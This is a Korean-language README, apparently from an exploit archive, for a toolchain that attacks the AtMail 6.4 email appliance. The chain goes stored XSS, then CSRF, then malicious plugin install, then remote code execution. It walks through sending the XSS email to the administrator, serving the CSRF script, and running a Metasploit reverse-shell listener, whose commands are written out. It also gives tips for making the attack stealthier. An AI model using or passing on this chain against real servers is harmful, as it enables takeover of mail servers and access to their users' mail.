AtMail 이메일 서버 어플라이언스 6.4 - 익스플로잇 툴체인 (XSS > CSRF > RCE)

[PacketStorm] [WLB-2020080010]

고지: 이 익스플로잇 툴체인은 EDB-ID 20009에서 영감을 받았습니다.

목표

이 익스플로잇 툴체인의 목표는 EDB-ID 20009를 대체하는 것입니다.

이 툴체인이 EDB-ID 20009 익스플로잇보다 가지는 장점:

• 사용하기 간단함
• 재사용 가능
• 동적으로 생성되는 페이로드
• 쉽게 편집/변조 가능
• 명확한 코드와 플러그인 제공

EDB-ID 20009 익스플로잇의 단점:

• 사용자 지정 불가 (정적으로 하드코딩된 페이로드)
• 사용이 복잡함 (많은 하드코딩 값을 교체하고 코드를 대상 환경에 맞게 조정해야 함)
• 일회성 사용 (모든 값이 하드코딩됨)
• 플러그인 아카이브 tgz가 문자열(hex 문자)로 포함되어 있어 플러그인 소스 코드를 쉽게 읽거나 수정할 수 없음

요구 사항

• (선택 사항) Metasploit Framework (리버스 셸 생성을 위한 msfvenom)
• tar (플러그인 아카이브 생성용)
• ruby (페이로드 준비 및 XSS SMTP 전달)
• (선택 사항) XSS 페이로드를 전달할 웹 서버
• Atmail 관리자 이메일 주소를 알고 있어야 함 (플러그인은 관리자만 설치할 수 있음)
• 수동적 상호 작용 (관리자가 WebMail에서 XSS 페이로드가 포함된 이메일을 열어야 하며 유효한 관리 인터페이스 세션이 실행 중이어야 함)

ArchLinux에 요구 사항 설치:

$ sudo pacman -S metasploit tar ruby

작동 방식

1. XSS 페이로드가 포함된 이메일을 관리자에게 전송
2. XSS 페이로드가 원격으로 JavaScript CSRF를 로드
3. CSRF가 플러그인을 설치
4. 플러그인이 설치되면 시스템 명령을 실행: 리버스 셸

익스플로잇 파일:

• config.yml 툴체인 구성을 포함
• exploit.sh 실행해야 하는 익스플로잇 래퍼
• xss_mail.rb Atmail SMTP 서버를 통해 (인증 없이) XSS가 포함된 이메일을 관리자에게 전송합니다.
• csrf_prepare.rb CSRF 페이로드를 준비합니다 (대상 설정 및 플러그인 아카이브 인코딩)
• rce_prepare.rb RCE를 준비합니다 (리버스 셸 생성 및 플러그인 아카이브 생성)
• csrf_plugin.js 준비된 CSRF 페이로드
• noraj/ 압축되지 않은 플러그인 구조를 포함하는 폴더

사용법

이 익스플로잇 툴체인은 수동 단계가 2개뿐입니다:

1. config.yml 편집
2. exploit.sh 실행

하지만 공격을 시작하기 전에 JavaScript CSRF 파일을 제공할 웹 서버와 연결을 기다리는 리버스 셸 리스너가 필요합니다. 따라서 공격은 다음과 같은 형태에 더 가깝습니다:

1. config.yml 편집
2. csrf_plugin.js를 제공할 HTTP 서버 시작
3. 리버스 셸 리스너 시작
4. exploit.sh 실행

한 줄 HTTP 서버 예시:

$ ruby -run -e httpd . -p 8000

리버스 셸 리스너 예시:

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf5 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf5 exploit(multi/handler) > run

참고 사항

• RCE는 플러그인이 설치된 경우에만 발생합니다. 리버스 셸 연결이 끊어지면 다시 실행한다는 것은 플러그인을 다시 설치한다는 의미입니다. 따라서 관리자는 자신의 사서함을 새로 고치기만 하면 됩니다.
• 레드 팀원들은 이메일을 읽은 후 자동으로 제거하고 리버스 셸 연결이 수립된 후 플러그인을 제거하도록 익스플로잇을 개선할 수 있습니다: 지속성은 낮아지지만 더 은밀해집니다.
• msfvenom(MSF 5.0)은 LHOST에 IP 주소만 지원하며 도메인은 지원하지 않습니다.
• 요구 사항 에서 말했듯이 관리자는 WebMail과 관리 인터페이스 모두에 연결되어 있어야 합니다.
• ruby 2.7로 테스트됨.